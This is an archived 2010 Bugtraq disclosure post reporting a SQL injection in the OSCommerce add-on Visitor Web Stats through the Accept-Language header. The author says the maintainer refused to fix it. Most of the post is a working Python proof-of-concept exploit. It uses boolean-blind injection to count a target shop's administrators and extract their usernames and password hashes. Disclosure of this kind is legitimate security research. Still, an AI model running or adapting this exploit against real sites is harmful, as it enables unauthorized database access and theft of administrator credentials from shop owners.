bugtraq - SQL injection in OSCommerce Add-On Visitor Web Stats

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Fri, 28 May 2010 09:12:10 +0200
From: Christopher Schramm <bugtraq@...kaweb.org>
To: bugtraq@...urityfocus.com
Subject: SQL injection in OSCommerce Add-On Visitor Web Stats

Popular OSC add-on Visitor Web Stats is completely vulnerable to SQL 
injections. Although it uses request data (i. e. the Accept-Language 
header), there's no escaping at all.

This also applies to the extension's derivative for OSC 3, who's author 
completely inherited the insufficient code structure.

I've contacted the official maintainer weeks ago, but he rejected to 
offer a fix. It seems he didn't even put up a note about the issue.

Since most SELECT queries are only used to determine whether the result 
is empty or not, the potential is somewhat limited, but as a PoC the 
following Python code gives you the names and hashed passwords of all 
the admins by going through a binary search tree. (Note that versions 
older than 2.2RC1 do not have admin users; they protect the admin site 
only by htaccess)


import sys
import http.client

if len(sys.argv) < 2:
	print("usage: " + sys.argv[0] + " <host> [<path>]")
	sys.exit();

host = sys.argv[1]
if len(sys.argv) > 2:
	path = sys.argv[2]
else:
	path = "/"

def req(lang):
	c = http.client.HTTPConnection(host)
	c.request('GET', path, '', {'Accept-Language': lang})
	return c.getresponse().read();

def check(condition):
	r = req("' AND 1=0 UNION SELECT id FROM administrators " + condition + 
" -- '")
	if r.find(b'update') != -1:
		return 1;
	elif r.find(b'Unknown column') != -1:
		print('Unknown database structure (no rc version?)')
		sys.exit();
	return 0;

if req("'").find(b'select counter FROM visitors where browser_ip') == -1:
	print('Target does not seem to have (a vulnarable version of) Visitor 
Web Stats or doesn\'t output any error messages')
	sys.exit();

admin_count = 1
while not check("HAVING COUNT(*) = " + str(admin_count)):
	admin_count += 1;
print("Number of admins: " + str(admin_count))

pw_chars = [x for x in range(48, 58)]
pw_chars.extend([x for x in range(97, 103)])
pw_chars.sort()

todo = [('', 0, 255)]
while len(todo):
	(found, start, end) = todo.pop()
	if start == 0 and end == 255 and check("WHERE user_name = '" + found + 
"'"):
		sys.stdout.write(found + " ")
		sys.stdout.flush()
		for i in range(35):
			if i == 32:
				sys.stdout.write(":")
				sys.stdout.flush()
				continue
			pw_start, pw_end = 0, len(pw_chars) - 1
			while pw_start != pw_end:
				pw_mid = int((pw_start + pw_end) / 2)
				if check("WHERE user_name = '" + found + "' AND 
ORD(SUBSTRING(user_password, " + str(i + 1) + ", 1)) <= " + 
str(pw_chars[pw_mid])):
					pw_end = pw_mid
				else:
					if pw_mid == pw_end - 1:
						pw_start = pw_end
					else:
						pw_start = pw_mid
			sys.stdout.write(chr(pw_chars[pw_start]))
			sys.stdout.flush()
		print()
		if not check("WHERE SUBSTRING(user_name, 1, " + str(len(found)) + ") = 
'" + found + "' AND SUBSTRING(user_name, " + str(len(found) + 1) + ", 1) 
 > 0"):
			continue;
	mid = int((start + end) / 2)
	if check("WHERE SUBSTRING(user_name, 1, " + str(len(found)) + ") = '" + 
found + "' AND ORD(SUBSTRING(user_name, " + str(len(found) + 1) + ", 1)) 
<= " + str(mid) + " AND ORD(SUBSTRING(user_name, " + str(len(found) + 1) 
+ ", 1)) > 0"):
		if mid == start + 1:
			todo.append((found + chr(mid), 0, 255))
		else:
			todo.append((found, start, mid))
	if check("WHERE SUBSTRING(user_name, 1, " + str(len(found)) + ") = '" + 
found + "' AND ORD(SUBSTRING(user_name, " + str(len(found) + 1) + ", 1)) 
 > " + str(mid)):
		if mid == end - 1:
			todo.append((found + chr(end), 0, 255))
		else:
			todo.append((found, mid, end))